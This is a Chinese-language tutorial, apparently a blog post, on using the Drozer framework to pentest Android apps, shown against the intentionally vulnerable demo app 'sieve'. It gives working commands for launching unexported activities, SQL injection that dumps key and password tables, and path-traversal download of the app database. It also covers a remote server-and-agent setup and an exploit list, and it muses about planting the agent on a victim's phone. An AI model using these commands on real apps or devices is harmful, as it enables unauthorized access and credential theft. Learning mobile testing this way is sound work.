之前做APP测试时使用了Drozer,感觉很好用,但是后来一直没有时间整理。在我逐渐对Drozer加深了熟悉才发现,Drozer不仅仅是一个工具,它更像一个综合性渗透测试的框架。在单机情况下,测试单个APP漏洞很好用,在渗透中,也可以当做服务器多个代理的形式,对局域网或者互联网所有的移动端代理进行渗透,对移动端进一步攻击提权。
一、安装
安装这块,我强烈推荐直接看官网文档安装,英文看起来费劲不要紧,可以使用各类翻译软件。
因为在我安装的过程当中,看了别人的博客,不太详细,导致遇到了不少坑。官网的文档最全面、权威,按照介绍至上到下操作一遍,安装基本就没啥问题了。
这里我贴上官网的文档。
二、启动
在我们安装好后,有两个部分,一个是代理(agent),一个可以理解为服务。
代理在模拟器或者手机里,是这样。
点击Embedded Server,打开Enabled
这样我们代理就算启动成功了。
代理的服务端口是31415,所以我们需要将模拟器中的端口进行转发。
在PC终端输入:
adb forward tcp:31415 tcp:31415
然后启动Drozer服务。
drozer console connect
这里服务端就和代理建立了友好关系,可以说话了。
三、应用测试
这里我使用官网的demo进行测试,资源我已上传。
打开sieve,看起来是一个登陆注册界面。
我们拿到这个app,只知道它的名字叫sieve,但是它的包名叫什么我们还不知道,这里我们可以使用app.package.list
来列出名字叫sieve的包。
run app.package.list -f sieve
查看更加详细的信息,使用app.package.info
run app.package.info -a com.mwr.example.sieve
可以看到版本号等详细信息。
一般情况下,我们可以使用轻度扫描的方式,看看可能会有哪些攻击面。
run app.package.attacksurface com.mwr.example.sieve
可以看到,3个activities、2个content providers、services结果被导出,尤其注意下,这个APP支持debuggable的,我们可以使用ida进行动态调试。
接下来深入攻击点。
首先看activity这块的内容。
run app.activity.info -a com.mwr.example.sieve
我们看出来,所有的这3个界面不需要任何的权限,所以我们可以通过drozer来随意启动任意一个界面。
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
这个是注册成功后,最后跳入的界面,理论上是必须注册,并且注册成功后才能看到的界面,但是被我们未授权访问了。
在看provider的漏洞。
run app.provider.info -a com.mwr.example.sieve
这里的DBContentProvider和FileBackupProvider刚好对应前面我们扫描的漏洞,可能会有SQL注入和文件遍历的目录。
先看SQL注入,我们除了知道访问数据内容开头是"content://"之外,其他的都不清楚,所以首先得拿到数据库的url地址,才能进一步确认是否存在漏洞。
drozer提供了寻找content url地址的功能:
run scanner.provider.finduris -a com.mwr.example.sieve
我们看出来,它读出了DBContent的内容,那么有了准确的URL地址,就可以着手测试了。
由于Android使用的是sqllite数据库,所以存储用户数据也是sqllite,我们使用projection预注入来测试。
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
这里出现了显错注入
通过判断,我们可以知道注入点在这里,那我们可以构造语句
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
或许我们可以直接把数据库下载下来。
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /Users/liyang/test/database.db
注意,这里的database.db是本地的目录路径。
当然,还可以使用
run scanner.provider.injection -a com.mwr.example.sieve
自动扫描provider模块存在的漏洞,这里发现了Keys、Passwords都可以注入。
attacksurface还提到了有两个服务漏洞
run app.service.info -a com.mwr.example.sieve
我们看出来这两个服务都是比较有意思的,一个是认证服务,一个是解析服务。
那么如果我们把代理放到了受害者手机里,某个APP有这个漏洞,我们是不是就可以获取到用户的账号和密码了?
拓展内容
前面提到了Drozer不仅仅适用了APP测试,是一个工具也是一个框架。
原因在于它不仅支持本地,也适用于远程agent,可以在一个局域网或者互联网环境下,启动一个drozer 服务器,然后多个agent在不同的设备里进行移动端的渗透。同时它也提供了高质量的exploit和payload帮助拿下设备的权限。
这里我演示下启动一个server,多个agent的情景。
首先服务端启动:
drozer server start
agent启动,进入setting
New Endpoint
填入Host和port,这里填的是服务端的IP和端口,也就是你接下来启动drozer server的IP,然后save,再回到主界面,将关闭点成开启。
然后server这边,设备就上线了。
接下来,我们列出有哪些exploits可以使用的
drozer exploit list
看出CVE-2010-1807这个可以帮助我们远程拿到权限,但是只适用于Android老版本,10年的版本,肯定不适用于现在了,所以就不尝试了。
但是提一下,后来的drozer代码好像好久没更新了,payload应该都是比较久远的吧。